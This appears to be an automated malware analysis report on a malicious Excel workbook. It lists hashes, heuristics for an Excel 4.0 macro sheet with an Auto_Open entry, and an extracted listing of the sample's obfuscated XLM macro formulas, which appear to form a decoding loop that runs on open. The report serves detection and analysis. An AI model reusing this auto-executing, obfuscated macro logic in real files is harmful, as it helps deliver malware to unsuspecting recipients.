Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f2fc465b744d32b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:23 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: d5a72c7e79f0b886931662e6d390175e SHA-1: ed0e83045f7d60c365cf2daff375dd65d176b34c SHA-256: 4f2fc465b744d32b25490e51f52542c85cbda3983b2cb8b7165d37e30928b696
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6722 bytes
SHA-256: 41bdef6c0dac840f4c2cdd9c1b205faf437e208e2bf2141157b914cfd03bdbfa
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lCIvItdh
' 0018     26 LABEL : Cell Value, String Constant - aornWEzdktU len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H180 
' 0018     26 LABEL : Cell Value, String Constant - AXcafwliMOk len=0 
' 0018     22 LABEL : Cell Value, String Constant - bGPRNuq len=0 
' 0018     26 LABEL : Cell Value, String Constant - CFgeoNHSaIH len=0 
' 0018     20 LABEL : Cell Value, String Constant - DAqKZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - dtlSqim len=0 
' 0018     20 LABEL : Cell Value, String Constant - EwlRp len=0 
' 0018     26 LABEL : Cell Value, String Constant - faDNeFBpAok len=0 
' 0018     22 LABEL : Cell Value, String Constant - FSGNXDb len=0 
' 0018     21 LABEL : Cell Value, String Constant - ghlmXx len=0 
' 0018     27 LABEL : Cell Value, String Constant - GLePLABBIFMB len=0 
' 0018     23 LABEL : Cell Value, String Constant - HWqXxivD len=0 
' 0018     21 LABEL : Cell Value, String Constant - IGjpEY len=0 
' 0018     20 LABEL : Cell Value, String Constant - JQzXi len=0 
' 0018     26 LABEL : Cell Value, String Constant - NycAVgmGaKL len=0 
' 0018     24 LABEL : Cell Value, String Constant - QpJavHSEl len=0 
' 0018     23 LABEL : Cell Value, String Constant - UoLfFOJS len=0 
' 0018     21 LABEL : Cell Value, String Constant - WjPiGu len=0 
' 0018     23 LABEL : Cell Value, String Constant - ytBqKtTm len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZJqkBk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lCIvItdh,P75,"",534.00000000000000000000
'  lCIvItdh,P76,"",747.00000000000000000000
'  lCIvItdh,P77,"",366.00000000000000000000
'  lCIvItdh,P78,"",380.00000000000000000000
'  lCIvItdh,P79,"",-453.00000000000000000000
'  lCIvItdh,P80,"",457.00000000000000000000
'  lCIvItdh,H91,"SET.NAME("aornWEzdktU",0+VALUE("0"))",""
'  lCIvItdh,H94,"SET.NAME("GLePLABBIFMB",aornWEzdktU)",""
'  lCIvItdh,H96,"SET.NAME("IGjpEY",aornWEzdktU)",""
'  lCIvItdh,H98,"SET.NAME("QpJavHSEl",COUNTA(EwlRp))",""
'  lCIvItdh,H101,"SET.NAME("ghlmXx",COUNTA(ZJqkBk))",""
'  lCIvItdh,H104,[],""
'  lCIvItdh,H108,"SET.NAME("JQzXi","")",""
'  lCIvItdh,H110,"GLePLABBIFMB",""
'  lCIvItdh,H112,"SET.NAME("bGPRNuq",HLOOKUP("*",EwlRp,GLePLABBIFMB,FALSE))",""
'  lCIvItdh,H117,"NycAVgmGaKL",""
'  lCIvItdh,H122,"SET.NAME("DAqKZ",aornWEzdktU)",""
'  lCIvItdh,H125,[],""
'  lCIvItdh,H128,"DAqKZ",""
'  lCIvItdh,H132,"HWqXxivD",""
'  lCIvItdh,H134,"faDNeFBpAok",""
'  lCIvItdh,H137,"WjPiGu",""
'  lCIvItdh,H141,"SET.NAME("ytBqKtTm",VALUE(HLOOKUP("*",ZJqkBk,WjPiGu,FALSE)))",""
'  lCIvItdh,H144,"FSGNXDb",""
'  lCIvItdh,H149,"JQzXi",""
'  lCIvItdh,H154,"IGjpEY",""
'  lCIvItdh,H158,NEXT(),""
'  lCIvItdh,H163,"AXcafwliMOk",""
'  lCIvItdh,H167,[],""
'  lCIvItdh,H169,"dtlSqim",""
'  lCIvItdh,H173,NEXT(),""
'  lCIvItdh,H175,RETURN(),""
'  lCIvItdh,H210,"SET.NAME("UoLfFOJS",H91)",""
'  lCIvItdh,H215,"EwlRp",""
'  lCIvItdh,H219,"SET.NAME("ZJqkBk",R81C11)",""
'  lCIvItdh,H221,"SET.NAME("dtlSqim",227)",""
'  lCIvItdh,H224,"SET.NAME("CFgeoNHSaIH",8)",""
'  lCIvItdh,H226,UoLfFOJS(),""
'  lCIvItdh,H227,HALT(),""

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